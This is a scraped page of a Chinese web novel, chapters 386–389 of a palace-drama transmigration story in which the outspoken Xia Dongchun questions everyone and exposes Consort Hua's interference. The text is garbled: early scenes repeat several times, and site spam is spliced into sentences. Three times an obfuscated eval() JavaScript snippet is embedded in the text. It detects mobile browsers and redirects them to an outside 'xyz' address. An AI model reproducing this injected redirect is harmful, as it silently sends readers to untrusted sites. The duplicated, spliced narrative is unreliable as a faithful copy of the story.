“一会儿会有人接你回宫,该怎么说你自己知道,欺君的罪名,我想你担待不起。” 御前的芳渠,根本不是后妃可以拉拢的,毕竟她又不是芳若和苏培盛,连自己主子是谁都不知道。 岂料夏冬春歪着脑袋不解的问道:“为什么?” 芳渠缓缓转头,也很不解:“小主是主子,怎就需小主亲自动手了,没得脏了小主的手。” 夏冬春若有所思的看了眼地上被堵着嘴的北荷:“我懂了,那芳渠嬷嬷,你帮我去甄府把那位安小主欠我的银子要回来吧。” 举一反三,夏冬春觉得自己棒棒的。 芳渠感觉自己今天的脑子是不是坏掉了,怎么总听到自己不理解的话呢? “什么银子?是安答应欠您银钱了吗?” 夏冬春在形容自己委屈的时候很有话说,她拉着芳渠坐在椅子上,絮絮叨叨的把选秀当日的情况念叨出来,包括自己要求安陵容下跪那一遭,毕竟她觉得自己可占理了。 芳渠也是开了眼界了,这批宫嫔是不是太奇怪了点,有在家没学过规矩的:惠常在,安答应。 有潜意识里仗势欺人把受委屈者形容成做坏者的:莞常在和沈贵人。 末了,夏冬春拉着芳渠的袖子很不服气的问道:“芳渠嬷嬷,你说,为什么那甄氏和沈氏说是我的问题?为什么不说安答应把茶水撒在我的身上是御前失仪的大事? 为什么要帮着安答应不还钱?为什么甄氏可以随便在皇宫内摘花?为什么安答应不好好站着四处溜达?为什么闹出动静了没有奴才来管?为什么安氏动不动就要哭?为什么甄氏那么爱管闲事?” 芳渠被这一连串的为什么问的头晕眼花,她下意识的思索这夏冬春的问题,在心里也在问自己:为什么啊? 好在夏冬春很快就饿了,抛弃芳渠快快乐乐的跑去用膳,给了芳渠喘息的机会。 芳渠想了想,回到夏府给她准备的屋子里敲了敲窗户。 外头突然出现一个体形瘦小的男人。 两人交换了情报,男人消失在了原地。 芳渠又去了关着北荷的屋子里看了一眼,眼神里没什么温度。 “你也在宫里伺候了很长时间了,虽然不是跟着皇上的老人,但这做奴才的规矩不会不知道。” 北荷奋力扭动着身子成跪爬的样子,芳渠上前把她嘴里的布条拽了出来。 “是华妃,是华妃娘娘给了奴婢银子,叫奴婢不用太过细心教导惠常在的。” 芳渠眼神闪了闪,从潜邸时她就知道华妃跋扈,没想到入宫后都把手伸到新入宫的宫嫔这里了。 “一会儿会有人接你回宫,该怎么说你自己知道,欺君的罪名,我想你担待不起。” 御前的芳渠,根本不是后妃可以拉拢的,毕竟她又不是芳若和苏培盛,连自己主子是谁都不知道。 岂料夏冬春歪着脑袋不解的问道:“为什么?” 芳渠缓缓转头,也很不解:“小主是主子,怎就需小主亲自动手了,没得脏了小主的手。”< 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为什么要帮着安答应不还钱?为什么甄氏可以随便在皇宫内摘花?为什么安答应不好好站着四处溜达?为什么闹出动静了没有奴才来管?为什么安氏动不动就要哭?为什么甄氏那么爱管闲事?” 芳渠被这一连串的为什么问的头晕眼花,她下意识的思索这夏冬春的问题,在心里也在问自己:为什么啊? 好在夏冬春很快就饿了,抛弃芳渠快快乐乐的跑去用膳,给了芳渠喘息的机会。 芳渠想了想,回到夏府给她准备的屋子里敲了敲窗户。 外头突然出现一个体形瘦小的男人。 两人交换了情报,男人消失在了原地。 芳渠又去了关着北荷的屋子里看了一眼,眼神里没什么温度。 “你也在宫里伺候了很长时间了,虽然不是跟着皇上的老人,但这做奴才的规矩不会不知道。” 北荷奋力扭动着身子成跪爬的样子,芳渠上前把她嘴里的布条拽了出来。 “是华妃,是华妃娘娘给了奴婢银子,叫奴婢不用太过细心教导惠常在的。” 芳渠眼神闪了闪,从潜邸时她就知道华妃跋扈,没想到入宫后都把手伸到新入宫的宫嫔这里了。 “一会儿会有人接你回宫,该怎么说你自己知道,欺君的罪名,我想你担待不起。” 御前的芳渠,根本不是后妃可以拉拢的,毕竟她又不是芳若和苏培盛,连自己主子是谁都不知道。 岂料夏冬春歪着脑袋不解的问道:“为什么?” 芳渠缓缓转头,也很不解:“小主是主子,怎就需小主亲自动手了,没得脏了小主的手。” 夏冬春若有所思的看了眼地上被堵着嘴的北荷:“我懂了,那芳渠嬷嬷,你帮我去甄府把那位安小主欠我的银子要回来吧。” 举一反三,夏冬春觉得自己棒棒的。 芳渠感觉自己今天的脑子是不是坏掉了,怎么总听到自己不理解的话呢? “什么银子?是安答应欠您银钱了吗?” 夏冬春在形容自己委屈的时候很有话说,她拉着芳渠坐在椅子上,絮絮叨叨的把选秀当日的情况念叨出来,包括自己要求安陵容下跪那一遭,毕竟她觉得自己可占理了。 芳渠也是开了眼界了,这批宫嫔是不是太奇怪了点,有在家没学过规矩的:惠常在,安答应。 有潜意识里仗势欺人把受委屈者形容成做坏者的:莞常在和沈贵人。 末了,夏冬春拉着芳渠的袖子很不服气的问道:“芳渠嬷嬷,你说,为什么那甄氏和沈氏说是我的问题?为什么不说安答应把茶水撒在我的身上是御前失仪的大事? 为什么要帮着安答应不还钱?为什么甄氏可以随便在皇宫内摘花?为什么安答应不好好站着四处溜达?为什么闹出动静了没有奴才来管?为什么安氏动不动就要哭?为什么甄氏那么爱管闲事?” 芳渠被这一连串的为什么问的头晕眼花,她下意识的思索这夏冬春的问题,在心里也在问自己:为什么啊? 好在夏冬春很快就饿了,抛弃芳渠快快乐乐的跑去用膳,给了芳渠喘息的机会。 芳渠想了想,回到夏府给她准备的屋子里敲了敲窗户。 外头突然出现一个体形瘦小的男人。 两人交换了情报,男人消失在了原地。 芳渠又去了关着北荷的屋子里看了一眼,眼神里没什么温度。 “你也在宫里伺候了很长时间了,虽然不是跟着皇上的老人,但这做奴才的规矩不会不知道。” 北荷奋力扭动着身子成跪爬的样子,芳渠上前把她嘴里的布条拽了出来。 “是华妃,是华妃娘娘给了奴婢银子,叫奴婢不用太过细心教导惠常在的。” 芳渠眼神闪了闪,从潜邸时她就知道华妃跋扈,没想到入宫后都把手伸到新入宫的宫嫔这里了。 “一会儿会有人接你回宫,该怎么说你自己知道,欺君的罪名,我想你担待不起。” 御前的芳渠,根本不是后妃可以拉拢的,毕竟她又不是芳若和苏培盛,连自己主子是谁都不知道。 岂料夏冬春歪着脑袋不解的问道:“为什么?” 芳渠缓缓转头,也很不解:“小主是主子,怎就需小主亲自动手了,没得脏了小主的手。” 夏冬春若有所思的看了眼地上被堵着嘴的北荷:“我懂了,那芳渠嬷嬷,你帮我去甄府把那位安小主欠我的银子要回来吧。” 举一反三,夏冬春觉得自己棒棒的。 芳渠感觉自己今天的脑子是不是坏掉了,怎么总听到自己不理解的话呢? “什么银子?是安答应欠您银钱了吗?” 夏冬春在形容自己委屈的时候很有话说,她拉着芳渠坐在椅子上,絮絮叨叨的把选秀当日的情况念叨出来,包括自己要求安陵容下跪那一遭,毕竟她觉得自己可占理了。 芳渠也是开了眼界了,这批宫嫔是不是太奇怪了点,有在家没学过规矩的:惠常在,安答应。 有潜意识里仗势欺人把受委屈者形容成做坏者的:莞常在和沈贵人。 末了,夏冬春拉着芳渠的袖子很不服气的问道:“芳渠嬷嬷,你说,为什么那甄氏和沈氏说是我的问题?为什么不说安答应把茶水撒在我的身上是御前失仪的大事? 为什么要帮着安答应不还钱?为什么甄氏可以随便在皇宫内摘花?为什么安答应不好好站着四处溜达?为什么闹出动静了没有奴才来管?为什么安氏动不动就要哭?为什么甄氏那么爱管闲事?” 芳渠被这一连串的为什么问的头晕眼花,她下意识的思索这夏冬春的问题,在心里也在问自己:为什么啊? 好在夏冬春很快就饿了,抛弃芳渠快快乐乐的跑去用膳,给了芳渠喘息的机会。 芳渠想了想,回到夏府给她准备的屋子里敲了敲窗户。 外头突然出现一个体形瘦小的男人。 两人交换了情报,男人消失在了原地。 芳渠又去了关着北荷的屋子里看了一眼,眼神里没什么温度。 “你也在宫里伺候了很长时间了,虽然不是跟着皇上的老人,但这做奴才的规矩不会不知道。” 北荷奋力扭动着身子成跪爬的样子,芳渠上前把她嘴里的布条拽了出来。 “是华妃,是华妃娘娘给了奴婢银子,叫奴婢不用太过细心教导惠常在的。” 芳渠眼神闪了闪,从潜邸时她就知道华妃跋扈,没想到入宫后都把手伸到新入宫的宫嫔这里了。 “一会儿会有人接你回宫,该怎么说你自己知道,欺君的罪名,我想你担待不起。” 御前的芳渠,根本不是后妃可以拉拢的,毕竟她又不是芳若和苏培盛,连自己主子是谁都不知道。 第386 章 夏冬春3 皇上囿于人缘和自己的骚操作只能依赖年羹尧,再加上潜邸时那个孩子,对华妃就格外容忍。 然而这一次,华妃把手伸的太长了。 看着底下跪的瑟瑟发抖的北荷,皇上没有一点印象。不过就这样一个欺上瞒下的奴才,宫里头可容不下。 他轻轻摆了摆手,两个太监上前把北荷无声的架了出去。 “苏培盛,去查,汉军旗殿选当天,体元殿到底有没有发生争执,何人争执,为何争执,是否有宫人劝阻。 皇上倒不是在意夏冬春,而是对皇后和华妃管理的后宫很不满。他这屁股下的皇位还没坐稳,真是前后都是拖后腿的麻烦。 在一众秀女中没有给皇室增添一点威严,反而叫人看足了笑话。 得益于夏冬春的为什么几连问,皇上也在静静的分析甄嬛的意图。 他不信这位能在殿选上冷静机智的莞常在不知晓御前失仪的罪责,那她如此为这位安答应脱罪,到底意欲何为? 对于这位安答应,皇上根本没有太深的印象,家世低微,样貌应当也不出众,这样一个人,有何值当莞常在出言相助的呢? 若是没有夏冬春那番话,皇上会觉得莞常在是仗义执言。 可这事被剖开,皇上少不得往阴谋上去靠。 对于见到小纯元的兴奋也渐渐被掩盖,只余肮脏的**阴谋在脑子里不断发散。 芳渠是个尽职尽责的好打工人,她不仅把宫规掰开了揉碎了喂到夏冬春的脑子里,对于行走坐卧的礼节也一板一眼的教导。 好在夏冬春是有基础的,虽然有些疲累,效果却很明显。 “小主规矩极好,奴婢跟您说说后宫的主子们。 芳渠想着,惠常在瞧着虽然不聪明,但美丽又活泼,想来是皇上喜欢的样子。再加上这几日的观察,芳渠断定惠常在是个健康好生养的。未免宫里的华妃再起了心思,还是得给这位小主说些忌讳。 夏冬春听的认真,虽然不像芳若说些八卦,但芳渠是真的在分析每个主子的避讳和禁忌给她听。 “我都记得了嬷嬷,嬷嬷你人真好,为什么皇上不一开始把您送来教导我规矩呢? 芳渠的嘴角有些抽搐,她好不容易忘了前几日的为什么连问,今日又要开始了吗? “皇 听说看这本书的人都是很幸运的,分享后你的运气会更棒 上平日里朝政繁忙,这些事情都是皇后娘娘和华妃娘娘做主的。” 夏冬春像是不理解般的凑近芳渠:“为什么后宫还有华妃娘娘当家啊,皇后娘娘身子骨不好吗?用不用我找些人参鹿茸送去给皇后娘娘补补身子?” 芳渠深吸口气,眼神里带了些严厉:“小主慎言,华妃娘娘得皇上信任,为人也严厉,小主莫要再说了。” 夏冬春被唬的双手捂住了嘴,一双大眼睛滴溜溜的转了转,芳渠还以为自己说话太重了。 有时候乖巧的宫嫔确实省心,但像夏冬春这种四六不懂但又惹人怜爱的熊孩子就会被投入大量精力。 投入的多了,芳渠也会下意识的心软一分。 “只要小主伺候好了皇上,寻常安安分分的,都是无虞的。” 夏冬春被这一句话哄好,又快快乐乐的出去用膳了。 芳渠又觉得有趣又觉得发愁,这一天吃了四顿饭,真的不会胖吗? 夏冬春才不在乎芳渠的忧愁,夏府的厨子做饭可真好吃啊,为了多吃点她可是每天定点吃饭呢。也幸好原主是个跋扈又反复无常的性子,她这几日把伺候的婢女都撵出去也照样符合人设。 宫里的皇上也看到了夏刈这几日的调查,安陵容虽然是个末尾的答应,但甄府竟然连大门都没开叫人从角门进府,这简直是有辱皇家尊严。 还有那个芳若,教的都是什么玩意儿?什么皇后是庶出,华妃是满蒙八旗美人儿,这跟宫规有关系吗? 还有华妃,指使教养嬷嬷北荷故意忽视宫规,对惠常在不仅不约束也不教导,简直是不知所谓。 但是年羹尧还在外头打仗,皇上只能跑到景仁宫把皇后骂了一顿。 而后在华妃的邀请中去了翊坤宫用晚膳。 “皇上,臣妾听闻还未入宫的新妹妹中出了些事情,可是臣妾的疏忽?” 北荷被关到慎刑司的事华妃第一时间就接到了消息,养心殿的芳渠姑姑出宫她也知道,华妃又不蠢,自然知道是惠常在那里的事发了。 皇上面无表情的喝着汤没有说话,华妃抿着嘴小心翼翼的试探着摸了摸皇上的手。 皇上下意识的躲开,拿起桌上的锦帕擦了擦嘴。 “汉军旗选秀当天,体元殿后头有三位秀女发生了争执,世兰可知道?” 华妃 听说和异性朋友讨论本书情节的,很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16161814|175486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容易发展成恋人哦 看了看皇上的脸色,如实以告:“臣妾知道,此事涉及三位入选的妹妹。” 皇上点了点头:“朕把殿选这等大事交于你负责,在殿选当天,体元殿没有安排奴才看守吗?” 华妃紧忙蹲在地上请罪:“是臣妾的失职,体元殿的秀女们都是规矩的,臣妾只叫几个嬷嬷守在外头,未曾想出了岔子,皇上恕罪。” 皇上也不是真的要降罪于她,毕竟年羹尧还在前头打仗。只是这选秀毕竟是大事,弄出这些污糟事万一被当时在场的秀女传了出去,皇家的名声也好不了。 “起来吧,世兰一向严谨,只是这夏威得用,世兰莫要意气用事。” 华妃的气瞬间从甄嬛,沈眉庄,夏冬春和安陵容四个人身上,转移到了甄嬛,沈眉庄和安陵容三人身上。 毕竟皇上说了,选惠常在进宫是因为惠常在的阿玛得用,那其她三人,就是因为她们容颜出众了? 未进宫就得罪了皇后和华妃,想来今后的日子甄嬛三人一定会很精彩的。 转眼到了九月十五,夏冬春天不亮就被从被窝里挖了出来,洗洗涮涮用了些早膳,在天蒙蒙亮时坐进了一顶小轿子,从夏府去往新的战场,紫禁城。 好在夏冬春在府上这段时日靠着那停不下来的嘴敲醒了夏威这个憨货阿玛,提前打探到了被分配的宫室,也安插了自己人进去。 顺着宫道走到储秀宫,里头的宫人们早早就准备在了西配殿的门口候着。 秋香和秋丽挨个认了认人,除了住着欣常在的东配殿,储秀宫基本都换上了夏威安排的人。 还有通过内务府自己人的渠道提前送进来的衣裳布料和首饰等,夏冬春对今后的日子十分有期待。 “好好看看,我可不想住个脏兮兮的地方。” 秋香和秋丽是夏冬春在府里特意换的奴婢,好歹也是个包衣佐领,一点人手门道都没有那是不可能的。夏威虽然有时候憨一些,但该给家里头扒拉的可没少干。 秋香懂些药理和香料,不到半个时辰就挑出来了不少好东西。 夏冬春捂着鼻子摆了摆手:“先收起来吧,咱们现在告状都无门。” 对于自己脱离了延禧宫,夏冬春是有喜有悲。 喜是延禧宫的地理位置一点也不好,嘈杂不安静。 忧的是离安陵容远了,折磨起来有点费工夫。 第387 章 夏冬春4 “小主咱们是不是应该去欣常在那里坐坐?” 算不上请安毕竟她们小主和欣常在平级。只是毕竟是后来者去老人那里坐一坐也算是不交恶。 秋丽为人处世更圆滑一些时时刻刻都在提点着自家主子。 夏冬春想了想点了点头:“也不能空着手去吧?” 这点秋丽早就想好了进宫前她和秋香已经在老爷那里定了好些专门用来送礼的物什 “老爷准备了几只簪子和手镯小主可以挑一挑。” 她们小主可是娇养着长大用的都是顶好的布料和首饰进宫虽然不如在府上高调也只不过把金簪子涂成银簪子戴罢了送礼嘛还是欣常在这种不需要太好的。 夏冬春随意指了一对如意镯秋丽利索的装到漂亮的匣子里抱着跟在后头。 今日入宫夏冬春选的亮眼的橘色宫装头上虽是简单的小两把头但单那一对山槐映霞的簪子就价值不菲她又是个闲不住的也懒得换衣裳直接就去了东配殿。 不过说了几句又有些腻歪欣常在左一句‘妹妹的衣裳真好看’右一句‘这簪子怕不是俗物’完全忽略了夏冬春本人的美貌叫她不是很乐意沟通下去了。 “欣姐姐是皇上身边的老人了应当很了解皇上吧?” 欣常在脸上的笑容有些淡了不轻不重的说了一句:“惠妹妹慎言咱们做妃妾的哪里就能议论皇上了。” 夏冬春不解:“为什么不能说?进宫不就是来伺候皇上的吗?了解一下皇上的喜好也不行吗?” 欣常在此时很想把手上那对如意镯撸下来又有点舍不得。 “窥探帝踪可是大罪惠妹妹初入宫莫要犯了忌讳。” 夏冬春更不理解了她哪里窥探帝踪了?她犯了什么忌讳了? “为什么啊?我只是问了皇上喜欢吃什么玩什么又没有问皇上在哪里窥探什么帝踪了?况且我只是想提前熟悉熟悉也免得侍寝的时候惹了皇上不喜这为什么也不行啊?” 眼看欣常在的胸口起伏有些大了起来秋丽连忙拉了拉自家小主。 然而她忘了她跟小主还没有培养出默契。 “你拉我做什么?不过是说说话现在又没事做。” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 欣常在倒不是生气而是觉得有些冒犯因为这位惠常在问的问题她不知道。 “惠妹妹今日进宫也累了先回去歇一歇吧。” 这便是送客了正常人应该起身离开。 “哦欣姐姐不想说就算了那我就先走了。” 夏冬春她不是正常人啊虽然听明白了欣常在的言中意但是她控制不住自己的嘴要给这段友好的交流画上句号。毕竟她是一个不允许别人的话落地上的人。 只是一个照面的功夫夏冬春就‘不自觉’的得罪了储秀宫老人欣常在。不过她也不往心里去甚至还在两个小太监提膳回来后感慨了一句:“宫里头确实不如家里头吃的好啊。” 已经得知夏冬春那里的菜色有多丰盛的欣常在看了看自己面前的盘盘碗碗突然有些饱了。 夏冬春的饭也不差毕竟夏威已经和内务府御膳房都打了招呼也送了银子她这份晚膳比之嫔位的膳食都要好上一半了。夏冬春却有些不知足却不知道东配殿的欣常在因为嫉妒草草吃了两口就饱了。 入宫前三天是不能随意走动的夏冬春又是个憋不住话的性子只能拉着欣常在不停的唠嗑。 “欣姐姐为什么宫里头的花草不能随意乱动啊?” 欣常在眼神空洞但嘴却下意识的接话:“因为都是算计好的。” “那为什么宫里头做衣裳这么慢啊?” 已经三天了夏冬春就没有穿过同样的衣裳欣常在记得真真儿的就这还嫌慢? “因为宫里头的绣娘有限大家都愿意做新衣裳所以要等一等。” “哦那为什么不多养几个绣娘呢?” 欣常在脑子转了转没转明白:“可能因为浪费银钱吧。” “那为什么皇上不挣钱啊?” 欣常在猛地捂住夏冬春的嘴:“不许问了和皇上有关的都不许问了。” 夏冬春点头很委屈。 欣常在:谁来替我花生! 好不容易到了请安的日子欣常在有种刑满释放的轻松感。 这新入宫的小主们总算可以出门了希望这位惠常在可以多交几位好友不用天天缠着她说话了。 跟着众人站在景仁宫的正殿里东西两侧各放了一个敞口的果盘殿内清 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 香袅袅,和女子身上的各色脂粉混在一起,却有些说不出的味道。 “莞常在和惠常在是哪两位啊?” 华妃理了理点翠头冠上细碎的珍珠流苏,语气里带了三分漫不经心。但眼神锐利,嘴角的微微上翘,不好惹的气势扑面而来。 甄嬛和夏冬春出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16161815|175486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 列单独行礼,这一次经过嬷嬷的调教,夏冬春可没错过礼数了。 “莞常在姿容清秀,惠常在明艳动人,皇上真是好眼光。” 夏冬春没有改变自己的穿衣风格,仍旧如原主那般喜欢大红大绿的热烈色彩。只不过秋丽手巧,哄着她换了不少太过撞色的配饰,倒是和华妃撞了款。 这次没有叫沈眉庄出列,自然不需要甄嬛为其解围。只是甄嬛想要低调的退回去,夏冬春却不允许。 “皇后娘娘,华妃娘娘,嫔妾有一事不明。” 作为好奇宝宝,夏冬春的眼睛里有不属于这个环境的清澈,看的皇后和华妃升不起一点防备,全是嫌弃。 “哦?惠常在有何不明?” 目前正是新入宫的后妃对皇后的第一印象,即便心里头有不耐烦,皇后也不会表露出来。反而表情越发温和,瞧着和当家的老母亲一样。 夏冬春眨巴眨巴眼睛看着皇后道:“皇后娘娘,富察贵人不是满军旗吗?为什么站在汉军旗的沈贵人和莞常在后头啊?” 皇后嘴角的笑意慢慢收敛,底下的后妃也放下了手里当玩意儿似的茶盏,手帕等物,一双双眼睛疑惑的扫描在沈眉庄和甄嬛身上。 然而这股古怪的氛围夏冬春根本理解不了,她继续自己的提问:“为什么以汉军旗为重呢?皇上是有什么新的指示吗?” 华妃刚刚还幸灾乐祸的笑容也消失不见,她坐直了身子再次看向最前头的沈贵人和莞常在,似是要从两人身上瞧出花来。 “是嫔妾二人一时兴奋站错了位置,请皇后娘娘恕罪。” 皇后看向甄嬛的表情有一瞬间的痛快,但转瞬不见并没有被华妃发现。 “好了,你们二人初入宫,一时忘了规矩也是有的,起来吧。” 皇上提起来甄嬛时那带着怀念带着兴趣的表情皇后还记着,她那一亩三分地的眼光自然不想叫皇上不痛快。 “皇后娘娘果然仁慈,只是咱们大清向来先是满蒙后汉,若是这次不罚,怕是传出去,外头” 华妃这话自己说的也有些恶心,她是汉军旗,向来没把皇后放在眼里。一直以来以皇后占据了皇上正妻的身份较劲,这样开口,似是把自己也贬下去了似的。 “哦?那以华妃之见,应当如何啊?” 皇后不想罚甄嬛和沈眉庄吗?她可太想了。但是她又不想当坏人,只能挑唆华妃上。 “依臣妾之见,自然是应当重打一百大板,才好叫她们记在心里。” 第388 章 夏冬春5 此时的景仁宫安静极了坐着的放缓了呼吸降低存在感站着的屏气凝神生怕牵连到自己而跪着的甄嬛和沈眉庄一时被这严酷的刑罚吓的双目失神。 “皇后娘娘嫔妾等进门后是由着景仁宫的宫女安排的站位并非嫔妾和莞常在僭越请皇后娘娘明查。” 沈眉庄哪里肯认了这个罪名在最开始的惊慌过后连忙开口为自己的脱罪。 甄嬛暗道不好她微微抬头看着皇后垂下的嘴角闭了闭眼睛。 “皇后娘娘容禀 沈眉庄听了甄嬛的话这才意识到自己又把皇后得罪了。 不过她也并不算特别着急毕竟她说的也是事实皇后身为国母应当不会计较这些小事。 夏冬春看着上头的人都不说话有些不解的四周看了看。 华妃对上夏冬春那好骗的双眼挑了挑眉:“惠常在你可有话要说?” 夏冬春的眼睛一亮:“回华妃娘娘的话嫔妾就是不太理解沈贵人和莞常在的话。” 皇后静静的看着没有出声只是表情缓和了许多不像沈眉庄开口时那样瘆人了。 “哦?说来听听。” 这后宫真是越来越精彩了就连请安都这么有意思。华妃想着这一早上能折进去两个皇上相中的新人心情非常舒爽。 “为什么沈贵人和莞常在没有注意啊?明明这是嬷嬷在府上天天强调的规矩啊。” 这话问的实在妙华妃下意识的抬手拍了拍。 可惜甄嬛和沈眉庄不领情甚至在心里怨恨夏冬春的多事。 心里的怨恨能值几个钱?夏冬春不在意。 “为什么沈贵人和安答应前几日可以去莞常在宫里?嬷嬷不是说这三日不可以随意走动吗?” 那么两个大宫妃在宫道上溜达管理后宫的皇后和华妃愣是没察觉到不对被夏冬春点出来后两个人对视一眼瞧见了对方的茫然。 “为什么莞常在和安答应不还钱给嫔妾啊?嫔妾的苏绣很值钱的。” 欣常在随着夏冬春的为什么突然有种郁气抒发的爽感。这么多人跟着 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 她一起想这些为什么,一起遭罪的感觉实在太美妙了。 至于还钱这事,后宫还是有些人不明白的。 欣常在作为碎嘴子大队的主力成员,自然是把当日殿选的风波传了出去。 虽然是夏冬春一五一十的说出来的,但是她自己加工了一下,听的身边的丽嫔一阵惊呼。 当事人甄嬛和安陵容面色逐渐烧起了红云,当时的场景仿佛又在眼前重现。 “是非曲直自在人心,惠常在咄咄逼人,嫔妾也不过是就事论事罢了。” 甄嬛的嘴皮子确实好使,但是她遇见了刨根问底的夏冬春。 “可明明是安答应把茶水洒到了我身上,为什么不能要求她赔偿?为什么做错了事我还没哭她就要哭?为什么莞常在你要帮做错事的人?” 夏冬春的话有理,就是有些叫人吃不消。 这第一次阖宫觐见变成了讨伐莞常在大会,皇后自觉这届后妃不好管,心里头越发憋气。 “好了,沈贵人,莞常在规矩不精,罚半年月例,抄写宫规二十遍。” 皇后知道这事很严重,但是她不敢下手打,只能罚钱。 “还有,安答应损了惠常在的衣裳在先,论理赔偿是应当的。莞常在既然插手其中,便和安答应一同赔偿吧。” 夏冬春有错吗?有啊,她话太多了惹皇后烦了。但是这能罚吗?不能啊,皇后还想要老好人的名头呢。 “多谢皇后娘娘做主,莞常在,安答应,七百三十两白银,什么时候给我?” 外头普通的苏绣衣裳约莫十几两白银,但夏冬春那一身可是在绣纺定制的高档货,主料为云锦,用了乱针绣,甚至还在花蕊间点缀了珍珠,七百三十两,是穿后价。 安陵容眼前一黑,七百三十两,她这个答应一年才三十两的白银,入宫前安家给的那点路费早就花了个干净,哪里有钱还? 甄嬛倒是拿的出这笔钱,但是她不愿意。 凭什么呢?弄坏了惠常在衣裳的又不是她,凭什么要她出钱? 但皇后的旨意已下,她也知道这次没有了转圜的余地。两人承诺一个月内还钱,夏冬春这才点了头。 这场请安总算是结束了,甄嬛和沈眉庄互相搀扶着刚想出门,就听得后头那道魔音入耳:“咦?为什么你们两个走在前头?不应该叫华妃 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 娘娘和齐妃娘娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16161816|175486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先走吗?” 为什么为什么为什么?这位惠常在为什么会有这么多为什么? 甄嬛和沈眉庄脑子嗡嗡的难受,但也知自己做的不对,赶紧停下来。 华妃给了夏冬春一个干的漂亮的眼神,夏冬春没看懂。 “华妃娘娘为什么停下来了?” 夏冬春那双眼睛蠢萌蠢萌的,华妃翻了个白眼不想跟蠢货多言。 正要往储秀宫走,只听后边沈眉庄和甄嬛喊了一句:“惠常在”。 夏冬春停步转身,下巴微微仰着,一脸不好相处的模样。 “不知是何时得罪了惠常在?何故这样咄咄逼人。” 这话说的夏冬春一头雾水。 “什么咄咄逼人?” 沈眉庄一脸气急败坏,看着夏冬春无辜的样子着实可恨。 “惠常在何必装傻?刚刚在景仁宫不是很能言善辩吗?” 夏冬春恍然点头,原来是来兴师问罪的。 “为什么?” 她反问道。 沈眉庄的怒气停留在脸上,瞬间就要**。 只是还没等她开口,夏冬春继续平静的问道:“为什么说我咄咄逼人?为什么明明是你们二人踩在了满军旗头上反而是我的错?为什么明明是安答应做错了事反而要怪罪我?为什么我只是指出来不对之处你们二人就要生气?为什么不肯承认错误?” 沈眉庄一时间被堵的呐呐无言,事情是自己做出来的,被点出来堵在别人回宫路上的也是自己。 甄嬛上前握住沈眉庄冰凉的手面色有些难看:“既然是私事,惠姐姐私下里解决不是更好?” 此时的景仁宫门口已经围了很多人,华妃亦在其列。 然而夏冬春不惧自己人少,她一手叉着腰一手晃着帕子:“为什么私下里说?又不是什么见不得人的。我行事光明磊落,为什么避着人?” 甄嬛深吸口气,难不成叫她说自己见不得人吗? “咱们私事拿到那样的场合,未免太过小题大做。” 夏冬春却不接招:“为什么小题大做的事你们还不解决?” 甄嬛内心有些抓狂,这位惠常在怎么这么多问题,真真是恼人。 看甄嬛几人不再出招也不想回答她的问题,夏冬春无趣的甩了甩帕子:“记得还钱。” 第389 章 夏冬春6 夏冬春一战成名,凭借其满嘴的问题和好奇心,成功在后宫这些老人印象里留下来一个清澈又话多的形象。 今儿便是新嫔妃侍寝的日子,夏冬春上午在御花园转了转,用了午膳也不出去溜达了,拉着欣常在坐在院子里聊天。 “惠妹妹紧不紧张?” 欣常在的恩宠本还算不错,但华妃又撤了她的绿头牌,也只能望皇上兴叹了。 “为什么紧张?” 夏冬春啃着果子,往美人榻上蹭了蹭,成功的把双腿离地晃悠。 欣常在看着惠常在自在悠闲的样子很羡慕,这大概就是好家世带来的底气吧?倒也不是她家里头太拉夸,主要是离的远,说什么都白搭。 “今晚也不知道是谁第一个侍寝。” 欣常在的嘴一向是没什么遮拦的,再加上夏冬春也不是个有把门的人,所以很能说到一起去,当然,如果惠常在没有那么多问题就更好了。 “富察贵人吧。” 好正常的答案啊,欣常在一脸恍惚,她怎么就忘了这位满军旗的富察氏贵人了呢?怎么满脑子沈贵人和莞常在?她别是中邪了吧? “惠妹妹说的是,论位份论家世,自然应当是富察贵人拔得这个头筹。” 然而出乎所有人的预料,皇上翻了甄嬛的牌子。 许是夏冬春上午在御花园溜达的时间太久了,没有给甄嬛去井边刷“泡福”副本的机会。 虽然很想蛰伏,但温实初今日并不在太医院上值,没有机会装病。 至于温实初去了哪里,还不是入宫前夏冬春和她爹说了一句甄嬛很烦,宠女儿的夏父便连夜去挖甄嬛的黑料。虽然没什么有用的,但上善寺前温实初的求娶可是被人瞧的真真儿的。 